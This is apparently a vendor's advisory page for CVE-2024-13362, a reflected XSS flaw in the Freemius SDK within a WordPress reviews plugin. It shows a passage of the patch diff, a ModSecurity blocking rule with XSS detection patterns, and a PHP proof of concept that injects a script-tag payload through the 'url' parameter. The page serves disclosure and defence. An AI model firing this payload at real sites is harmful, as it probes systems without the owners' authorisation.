-        esc_html_e( 'Embedding instructions', 'embedder-for-google-reviews' );
-        ?></h2>
-        <?php
-    }
-
     /**
      * Echo shortcode instructions
      */
--- a/embedder-for-google-reviews/admin/includes/class-grwp-google-reviews-activator.php
+++ b/embedder-for-google-reviews/admin/includes/class-grwp-google-reviews-activator.php
@@ -9,6 +9,7 @@
  * @package    Google_Reviews
  * @subpackage Google_Reviews/includes
  */
+
 /**
  * Fired during plugin activation.
  *
@@ -20,16 +21,19 @@
  * @author     David Maucher <hallo@maucher-online.com>
  */
 class GRWP_Google_Reviews_Activator {
+
     /**
-     * Short Description. (use period)
-     *
-     * Long Description.
-     *
-     * @since    1.0.0
-     */
-    public static function activate() {
+	 * Short Description. (use period)
+	 *
+	 * Long Description.
+	 *
+	 * @since    1.0.0
+	 */
+	public static function activate() {
+
         // add dummy content setting as default
-        if ( !get_option( 'google_reviews_option_name' ) ) {
+        if ( ! get_option( 'google_reviews_option_name' ) ) {
+
             $google_reviews_options = [];
             $google_reviews_options['show_dummy_content'] = '1';
             $google_reviews_options['show_verified'] = '0';
@@ -40,23 +44,33 @@
             $google_reviews_options['filter_below_5_stars'] = '1';
             $google_reviews_options['filter_words'] = '';
             $google_reviews_options['reviews_language_3'] = 'en';
-            add_option( 'google_reviews_option_name', $google_reviews_options );
-        }
-        if ( !get_option( 'grwp_activation_version' ) ) {
-            add_option( 'grwp_activation_version', GRWP_GOOGLE_REVIEWS_VERSION );
+            $google_reviews_options['link_users_profiles'] = '1';
+            $google_reviews_options['slide_duration'] = '5';
+            $google_reviews_options['hide_slider_arrows'] = '0';
+            $google_reviews_options['disable_loop_slider'] = '0';
+
+            add_option('google_reviews_option_name', $google_reviews_options);
         }
-        // add place info field
-        if ( !get_option( 'grwp_place_info' ) ) {
-            add_option( 'grwp_place_info', '' );
+
+        if ( ! get_option( 'grwp_activation_version' ) ) {
+            add_option('grwp_activation_version', GRWP_GOOGLE_REVIEWS_VERSION);
         }
+
+		// add place info field
+		if ( ! get_option('grwp_place_info') ) {
+			add_option('grwp_place_info','');
+		}
+
         // add pro version results field
-        if ( !get_option( 'gr_latest_results' ) ) {
-            add_option( 'gr_latest_results', '' );
+        if ( ! get_option('gr_latest_results') ) {
+            add_option('gr_latest_results','');
         }
+
         // add free version results field
-        if ( !get_option( 'gr_latest_results_free' ) ) {
-            add_option( 'gr_latest_results_free', '' );
+        if ( ! get_option('gr_latest_results_free') ) {
+            add_option('gr_latest_results_free', '');
         }
-    }
+
+	}

 }
--- a/embedder-for-google-reviews/admin/includes/class-grwp-pro-api-service.php
+++ b/embedder-for-google-reviews/admin/includes/class-grwp-pro-api-service.php
@@ -2,7 +2,7 @@

 Class GRWP_Pro_API_Service
 	extends
-	GRWP_Free_API_Service_Advanced {
+	GRWP_Free_API_Service {

 	public function __construct() {

@@ -10,7 +10,6 @@

 		// Pull reviews ajax handler
 		add_action('wp_ajax_handle_get_reviews_pro_api', [$this, 'get_reviews_pro_api']);
-		add_action('wp_ajax_nopriv_handle_get_reviews_pro_api', [$this, 'get_reviews_pro_api']);
 	}

 	/**
@@ -19,6 +18,11 @@
      */
     public static function get_reviews_pro_api() {

+        $validate = parent::validate_request();
+        if (is_wp_error($validate)) {
+            wp_send_json_error( [ 'message' => $validate->get_error_message() ], $validate->get_error_data()['status'] ?? 403 );
+        }
+
         $google_reviews_options = get_option( 'google_reviews_option_name' );

         $data_id          = $google_reviews_options['serp_data_id'];
@@ -33,7 +37,7 @@
 		$install_id = grwp_fs()->get_site()->id;
         $secret_key = base64_encode( grwp_fs()->get_site()->secret_key );

-        $new_hash_request_url = 'https://api.reviewsembedder.com/generate-hash.php';
+        $new_hash_request_url = 'https://easyreviewsapi.com/generate-hash.php';

         $new_hash = wp_remote_get( $new_hash_request_url, array(
             'headers' => array(
@@ -50,7 +54,7 @@

 		// construct request URL
         $license_request_url = sprintf(
-			'https://api.reviewsembedder.com/%s?install_id=%s&data_id=%s&language=%s&site=%s&mail=%s',
+			'https://easyreviewsapi.com/%s?install_id=%s&data_id=%s&language=%s&site=%s&mail=%s',
 	        $api_endpoint,
             $install_id,
             $data_id,
--- a/embedder-for-google-reviews/freemius/includes/class-freemius.php
+++ b/embedder-for-google-reviews/freemius/includes/class-freemius.php
@@ -3629,7 +3629,7 @@

             $this->delete_current_install( false );

-            $license_key = false;
+            $license = null;

             if (
                 is_object( $this->_license ) &&
@@ -3637,20 +3637,21 @@
                     ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) )
                 )
             ) {
-                $license_key = $this->_license->secret_key;
+                $license = $this->_license;
             }

             return $this->opt_in(
                 false,
                 false,
                 false,
-                $license_key,
+                ( is_object( $license ) ? $license->secret_key : false ),
                 false,
                 false,
                 false,
                 null,
                 array(),
-                false
+                false,
+                ( is_object( $license ) ? $license->user_id : null )
             );
         }

@@ -4494,33 +4495,31 @@
                 return;
             }

-            if ( $this->has_api_connectivity() ) {
-                if ( self::is_cron() ) {
-                    $this->hook_callback_to_sync_cron();
-                } else if ( $this->is_user_in_admin() ) {
-                    /**
-                     * Schedule daily data sync cron if:
-                     *
-                     *  1. User opted-in (for tracking).
-                     *  2. If skipped, but later upgraded (opted-in via upgrade).
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     * @since  1.1.7.3
-                     *
-                     */
-                    if ( $this->is_registered() && $this->is_tracking_allowed() ) {
-                        $this->maybe_schedule_sync_cron();
-                    }
+            $this->hook_callback_to_sync_cron();

-                    /**
-                     * Check if requested for manual blocking background sync.
-                     */
-                    if ( fs_request_has( 'background_sync' ) ) {
-                        self::require_pluggable_essentials();
-                        self::wp_cookie_constants();
+            if ( $this->has_api_connectivity() && ! self::is_cron() && $this->is_user_in_admin() ) {
+                /**
+                 * Schedule daily data sync cron if:
+                 *
+                 *  1. User opted-in (for tracking).
+                 *  2. If skipped, but later upgraded (opted-in via upgrade).
+                 *
+                 * @author Vova Feldman (@svovaf)
+                 * @since  1.1.7.3
+                 *
+                 */
+                if ( $this->is_registered() && $this->is_tracking_allowed() ) {
+                    $this->maybe_schedule_sync_cron();
+                }

-                        $this->run_manual_sync();
-                    }
+                /**
+                 * Check if requested for manual blocking background sync.
+                 */
+                if ( fs_request_has( 'background_sync' ) ) {
+                    self::require_pluggable_essentials();
+                    self::wp_cookie_constants();
+
+                    $this->run_manual_sync();
                 }
             }

@@ -7659,7 +7658,14 @@
                     $parent_fs->get_current_or_network_user()->email,
                     false,
                     false,
-                    $license->secret_key
+                    $license->secret_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license->user_id
                 );
             } else {
                 // Activate the license.
@@ -7723,7 +7729,9 @@
                     false,
                     false,
                     null,
-                    $sites
+                    $sites,
+                    true,
+                    $license->user_id
                 );
             } else {
                 $blog_2_install_map = array();
@@ -7777,7 +7785,7 @@
          * @param array             $sites
          * @param int               $blog_id
          */
-        private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) {
+        private function maybe_activate_bundle_license( $license = null, $sites = array(), $blog_id = 0 ) {
             if ( ! is_object( $license ) && $this->has_active_valid_license() ) {
                 $license = $this->_license;
             }
@@ -7949,7 +7957,8 @@
                     null,
                     null,
                     $sites,
-                    ( $current_blog_id > 0 ? $current_blog_id : null )
+                    ( $current_blog_id > 0 ? $current_blog_id : null ),
+                    $license->user_id
                 );
             }
         }
@@ -8830,8 +8839,13 @@
                      isset( $site_active_plugins[ $basename ] )
                 ) {
                     // Plugin was site level activated.
-                    $site_active_plugins_cache->plugins[ $basename ]              = $network_plugins[ $basename ];
-                    $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true;
+                    $site_active_plugins_cache->plugins[ $basename ] = array(
+                        'slug'           => $network_plugins[ $basename ]['slug'],
+                        'version'        => $network_plugins[ $basename ]['Version'],
+                        'title'          => $network_plugins[ $basename ]['Name'],
+                        'is_active'      => $is_active,
+                        'is_uninstalled' => false,
+                    );
                 } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) &&
                             ! isset( $site_active_plugins[ $basename ] )
                 ) {
@@ -11576,7 +11590,7 @@
                         continue;
                     }

-                    $missing_plan = self::_get_plan_by_id( $plan_id );
+                    $missing_plan = self::_get_plan_by_id( $plan_id, false );

                     if ( is_object( $missing_plan ) ) {
                         $plans[] = $missing_plan;
@@ -11738,10 +11752,10 @@
          *
          * @return FS_Plugin_Plan|false
          */
-        function _get_plan_by_id( $id ) {
+        function _get_plan_by_id( $id, $allow_sync = true ) {
             $this->_logger->entrance();

-            if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) {
+            if ( $allow_sync && ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) ) {
                 $this->_sync_plans();
             }

@@ -12385,7 +12399,7 @@
          *
          * @param FS_Plugin_License $license
          */
-        private function set_license( FS_Plugin_License $license = null ) {
+        private function set_license( $license = null ) {
             $this->_license = $license;

             $this->maybe_update_whitelabel_flag( $license );
@@ -13485,7 +13499,8 @@
                 fs_request_get( 'module_id', null, 'post' ),
                 fs_request_get( 'user_id', null ),
                 fs_request_get_bool( 'is_extensions_tracking_allowed', null ),
-                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null )
+                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ),
+                fs_request_get( 'license_owner_id', null )
             );

             if (
@@ -13634,6 +13649,7 @@
          * @param null|number $plugin_id
          * @param array       $sites
          * @param int         $blog_id
+         * @param null|number $license_owner_id
          *
          * @return array {
          *      @var bool   $success
@@ -13648,7 +13664,8 @@
             $is_marketing_allowed = null,
             $plugin_id = null,
             $sites = array(),
-            $blog_id = null
+            $blog_id = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13659,7 +13676,11 @@
                     $sites,
                 $is_marketing_allowed,
                 $blog_id,
-                $plugin_id
+                $plugin_id,
+                null,
+                null,
+                null,
+                $license_owner_id
             );

             // No need to show the sticky after license activation notice after migrating a license.
@@ -13733,9 +13754,10 @@
          * @param null|bool   $is_marketing_allowed
          * @param null|int    $blog_id
          * @param null|number $plugin_id
-         * @param null|number $license_owner_id
+         * @param null|number $user_id
          * @param bool|null   $is_extensions_tracking_allowed
          * @param bool|null   $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint.
+         * @param null|number $license_owner_id
          *
          *
          * @return array {
@@ -13750,9 +13772,10 @@
             $is_marketing_allowed = null,
             $blog_id = null,
             $plugin_id = null,
-            $license_owner_id = null,
+            $user_id = null,
             $is_extensions_tracking_allowed = null,
-            $is_diagnostic_tracking_allowed = null
+            $is_diagnostic_tracking_allowed = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13841,10 +13864,10 @@

                         $install_ids = array();

-                        $change_owner = FS_User::is_valid_id( $license_owner_id );
+                        $change_owner = FS_User::is_valid_id( $user_id );

                         if ( $change_owner ) {
-                            $params['user_id'] = $license_owner_id;
+                            $params['user_id'] = $user_id;

                             $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info();

@@ -13920,7 +13943,9 @@
                     false,
                     false,
                     $is_marketing_allowed,
-                    $sites
+                    $sites,
+                    true,
+                    $license_owner_id
                 );

                 if ( isset( $next_page->error ) ) {
@@ -15630,7 +15655,7 @@
          *
          * @return bool Since 2.3.1 returns if a switch was made.
          */
-        function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) {
+        function switch_to_blog( $blog_id, $install = null, $flush = false ) {
             if ( ! is_numeric( $blog_id ) ) {
                 return false;
             }
@@ -15757,6 +15782,10 @@
         function get_site_info( $site = null, $load_registration = false ) {
             $this->_logger->entrance();

+            $fs_hook_snapshot = new FS_Hook_Snapshot();
+            // Remove all filters from `switch_blog`.
+            $fs_hook_snapshot->remove( 'switch_blog' );
+
             $switched = false;

             $registration_date = null;
@@ -15816,6 +15845,9 @@
                 restore_current_blog();
             }

+            // Add the filters back to `switch_blog`.
+            $fs_hook_snapshot->restore( 'switch_blog' );
+
             return $info;
         }

@@ -16936,14 +16968,13 @@
          *
          * @param array         $override_with
          * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network.
+         * @param bool          $skip_user_info
          *
          * @return array
          */
-        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) {
+        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null, $skip_user_info = false ) {
             $this->_logger->entrance();

-            $current_user = self::_get_current_wp_user();
-
             $activation_action = $this->get_unique_affix() . '_activate_new';
             $return_url        = $this->is_anonymous() ?
                 // If skipped already, then return to the account page.
@@ -16954,9 +16985,6 @@
             $versions = $this->get_versions();

             $params = array_merge( $versions, array(
-                'user_firstname'    => $current_user->user_firstname,
-                'user_lastname'     => $current_user->user_lastname,
-                'user_email'        => $current_user->user_email,
                 'plugin_slug'       => $this->_slug,
                 'plugin_id'         => $this->get_id(),
                 'plugin_public_key' => $this->get_public_key(),
@@ -16972,6 +17000,21 @@
                 'is_localhost'      => WP_FS__IS_LOCALHOST,
             ) );

+            if (
+                ! $skip_user_info &&
+                (
+                    empty( $override_with['user_firstname'] ) ||
+                    empty( $override_with['user_lastname'] ) ||
+                    empty( $override_with['user_email'] )
+                )
+            ) {
+                $current_user = self::_get_current_wp_user();
+
+                $params['user_firstname'] = $current_user->user_firstname;
+                $params['user_lastname']  = $current_user->user_lastname;
+                $params['user_email']     = $current_user->user_email;
+            }
+
             if ( $this->is_addon() ) {
                 $parent_fs = $this->get_parent_instance();

@@ -17051,6 +17094,7 @@
          * @param null|bool   $is_marketing_allowed
          * @param array       $sites                If network-level opt-in, an array of containing details of sites.
          * @param bool        $redirect
+         * @param null|number $license_owner_id
          *
          * @return string|object
          * @use    WP_Error
@@ -17065,15 +17109,11 @@
             $is_disconnected = false,
             $is_marketing_allowed = null,
             $sites = array(),
-            $redirect = true
+            $redirect = true,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

-            if ( false === $email ) {
-                $current_user = self::_get_current_wp_user();
-                $email        = $current_user->user_email;
-            }
-
             /**
              * @since 1.2.1 If activating with license key, ignore the context-user
              *              since the user will be automatically loaded from the license.
@@ -17083,6 +17123,11 @@
                 $this->_storage->remove( 'pending_license_key' );

                 if ( ! $is_uninstall ) {
+                    if ( false === $email ) {
+                        $current_user = self::_get_current_wp_user();
+                        $email        = $current_user->user_email;
+                    }
+
                     $fs_user = Freemius::_get_user_by_email( $email );
                     if ( is_object( $fs_user ) && ! $this->is_pending_activation() ) {
                         return $this->install_with_user(
@@ -17097,15 +17142,22 @@
                 }
             }

+            $skip_user_info = ( ! empty( $license_key ) && FS_User::is_valid_id( $license_owner_id ) );
+
             $user_info = array();
-            if ( ! empty( $email ) ) {
-                $user_info['user_email'] = $email;
-            }
-            if ( ! empty( $first ) ) {
-                $user_info['user_firstname'] = $first;
-            }
-            if ( ! empty( $last ) ) {
-                $user_info['user_lastname'] = $last;
+
+            if ( ! $skip_user_info ) {
+                if ( ! empty( $email ) ) {
+               	    $user_info['user_email'] = $email;
+                }
+
+                if ( ! empty( $first ) ) {
+               	    $user_info['user_firstname'] = $first;
+                }
+
+                if ( ! empty( $last ) ) {
+               	    $user_info['user_lastname'] = $last;
+                }
             }

             if ( ! empty( $sites ) ) {
@@ -17116,7 +17168,7 @@
                 $is_network = false;
             }

-            $params = $this->get_opt_in_params( $user_info, $is_network );
+            $params = $this->get_opt_in_params( $user_info, $is_network, $skip_user_info );

             $filtered_license_key = false;
             if ( is_string( $license_key ) ) {
@@ -18112,7 +18164,7 @@
         private function _activate_addon_account(
             Freemius $parent_fs,
             $network_level_or_blog_id = null,
-            FS_Plugin_License $bundle_license = null
+            $bundle_license = null
         ) {
             if ( $this->is_registered() ) {
                 // Already activated.
@@ -18745,7 +18797,7 @@
          * @return bool
          */
         function is_pricing_page_visible() {
-            return (
+            $visible = (
                 // Has at least one paid plan.
                 $this->has_paid_plan() &&
                 // Didn't ask to hide the pricing page.
@@ -18753,6 +18805,8 @@
                 // Don't have a valid active license or has more than one plan.
                 ( ! $this->is_paying() || ! $this->is_single_plan( true ) )
             );
+
+            return $this->apply_filters( 'is_pricing_page_visible', $visible );
         }

         /**
@@ -19708,7 +19762,7 @@
          * @param null|int $network_level_or_blog_id Since 2.0.0
          * @param FS_Site $site                     Since 2.0.0
          */
-        private function _store_site( $store = true, $network_level_or_blog_id = null, FS_Site $site = null, $is_backup = false ) {
+        private function _store_site( $store = true, $network_level_or_blog_id = null, $site = null, $is_backup = false ) {
             $this->_logger->entrance();

             if ( is_null( $site ) ) {
@@ -20561,11 +20615,18 @@
          * @param bool        $flush      Since 1.1.7.3
          * @param int         $expiration Since 1.2.2.7
          * @param bool|string $newer_than Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false New plugin tag info if exist.
          */
-        private function _fetch_newer_version( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) {
-            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than );
+        private function _fetch_newer_version(
+            $plugin_id = false,
+            $flush = true,
+            $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
+            $newer_than = false,
+            $fetch_upgrade_notice = true
+        ) {
+            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than, false, $fetch_upgrade_notice );

             if ( ! is_object( $latest_tag ) ) {
                 return false;
@@ -20598,19 +20659,18 @@
          *
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          *
          * @return bool|FS_Plugin_Tag
          */
-        function get_update( $plugin_id = false, $flush = true, $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION, $newer_than = false ) {
+        function get_update( $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

             if ( ! is_numeric( $plugin_id ) ) {
                 $plugin_id = $this->_plugin->id;
             }

-            $this->check_updates( true, $plugin_id, $flush, $expiration, $newer_than );
+            $this->check_updates( true, $plugin_id, $flush );
+
             $updates = $this->get_all_updates();

             return isset( $updates[ $plugin_id ] ) && is_object( $updates[ $plugin_id ] ) ? $updates[ $plugin_id ] : false;
@@ -21548,7 +21608,14 @@
                         false,
                         false,
                         false,
-                        $premium_license->secret_key
+                        $premium_license->secret_key,
+                        false,
+                        false,
+                        false,
+                        null,
+                        array(),
+                        true,
+                        $premium_license->user_id
                     );

                     return;
@@ -22060,6 +22127,7 @@
          * @param int         $expiration   Since 1.2.2.7
          * @param bool|string $newer_than   Since 2.2.1
          * @param bool|string $fetch_readme Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false Plugin latest tag info.
          */
@@ -22068,7 +22136,8 @@
             $flush = true,
             $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
             $newer_than = false,
-            $fetch_readme = true
+            $fetch_readme = true,
+            $fetch_upgrade_notice = false
         ) {
             $this->_logger->entrance();

@@ -22141,6 +22210,10 @@
                 $expiration = null;
             }

+            if ( true === $fetch_upgrade_notice ) {
+                $latest_version_endpoint = add_query_arg( 'include_upgrade_notice', 'true', $latest_version_endpoint );
+            }
+
             $tag = $this->get_api_site_or_plugin_scope()->get(
                 $latest_version_endpoint,
                 $flush,
@@ -22286,20 +22359,20 @@
          *                                was initiated by the admin.
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
       

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# Block reflected XSS via the url parameter in Freemius SDK
SecRule REQUEST_URI "@rx ^/wp-admin/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 XSS via Freemius url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS:url "@rx <script|javascript:|onload=|onerror=" 
    "t:urlDecode,t:lowercase,chain"
    SecRule ARGS_GET:page "@rx freemius|fs_" 
      "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

$target_url = 'http://example.com/wp-admin/admin.php?page=freemius'; // Change to a valid Freemius-enabled page
$payload = '"><script>alert("XSS")</script>'; // XSS payload for reflection

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '&url=' . urlencode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: " . $http_code . "n";

// Check if the payload is reflected in the response without proper escaping
if (strpos($response, urldecode($payload)) !== false) {
    echo "[+] VULNERABLE: Payload reflected unsanitized in the response.n";
    echo "[+] Exploit URL: " . $target_url . '&url=' . urlencode($payload) . "n";
} else {
    echo "[-] Payload not found or properly escaped.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School